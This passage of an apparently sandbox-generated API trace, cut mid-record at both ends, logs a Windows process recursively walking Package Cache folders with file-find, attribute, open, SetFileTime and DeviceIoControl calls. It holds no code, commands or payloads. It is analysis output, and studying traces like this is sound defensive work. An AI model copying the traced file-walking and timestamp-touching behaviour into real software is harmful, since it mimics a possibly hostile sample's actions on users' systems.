nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.717] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.717] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.717] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.718] NtClose (Handle=0x174) returned 0x0 [0092.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.719] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.719] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.719] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 1 [0092.719] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 0 [0092.720] GetLastError () returned 0x12 [0092.720] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.720] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.720] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.720] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 1 [0092.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.721] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.721] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.722] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.722] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.722] NtClose (Handle=0x174) returned 0x0 [0092.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.724] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.724] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.724] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884c0c00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x884c0c00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x884c0c00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f92d8 [0092.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136fe28 [0092.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.727] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 1 [0092.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f6f0) returned 1 [0092.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f92f8 [0092.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1254e00 [0092.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.729] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 0 [0092.729] GetLastError () returned 0x12 [0092.729] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0092.729] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.729] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.730] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884c0c00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x884c0c00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x884c0c00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.730] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 1 [0092.730] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 0 [0092.730] GetLastError () returned 0x12 [0092.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.730] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.731] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 0 [0092.731] GetLastError () returned 0x12 [0092.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.731] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.731] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.732] GetLastError () returned 0x12 [0092.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.732] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.732] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="")) returned 1 [0092.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.733] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.734] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.734] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.734] NtClose (Handle=0x178) returned 0x0 [0092.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.736] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.736] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.736] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfe3882c0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9318 [0092.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.739] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="")) returned 1 [0092.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.740] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="")) returned 0 [0092.740] GetLastError () returned 0x12 [0092.740] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9200 [0092.740] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.740] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, 